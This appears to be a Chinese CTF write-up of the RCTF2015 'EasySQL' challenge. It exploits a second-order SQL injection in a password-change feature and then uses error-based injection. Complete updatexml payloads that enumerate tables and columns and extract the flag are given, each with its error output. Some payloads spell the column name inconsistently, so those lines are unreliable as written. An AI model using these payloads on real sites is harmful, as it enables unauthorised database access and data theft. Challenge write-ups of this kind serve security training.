[RCTF2015]EasySQL

[RCTF2015]EasySQL

知识点:二次注入,报错注入

文章目录

二次注入

[RCTF2015]EasySQL

题目环境有注册,登录,修改密码功能,修改密码处存在二次注入漏洞,当注册的名字为admin"时,然后进行修改密码,会导致报错

推测更新密码的语句是

password='xxxx' where username="xxxx" and pwd='xxxx'

知道这里可以报错之后,利用报错注入

报错注入

得表名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

XPATH syntax error: '~article,flag,users~'

flag表里面是假的flag
得字段名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

得列名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1))#

XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

到了列名这里,回显比较特殊,说不存在这个表。可能是表的名称不够完整,需要使用匹配将其补充完整。
可以使用正则匹配regexp('^r')读取flag
regexp('^r')是mysql的正则,匹配以r开头的字段,也就是字段名:real_flag_1s_her

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

XPATH syntax error: '~flag{20a2cc3d-ff1a-4748-beed-e8'

剩下的一半使用reverse()读取

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_her)regexp('^f')))),1))#

XPATH syntax error: '~}0a48ef5e3b8e-deeb-8474-a1ff-d3'

然后进行一下反转

[RCTF2015]EasySQL

上一篇:Express学习笔记


下一篇:Real Keyboard Cleaner直装版,Real Keyboard Cleaner下载,屏蔽键盘工具Real Keyboard Cleaner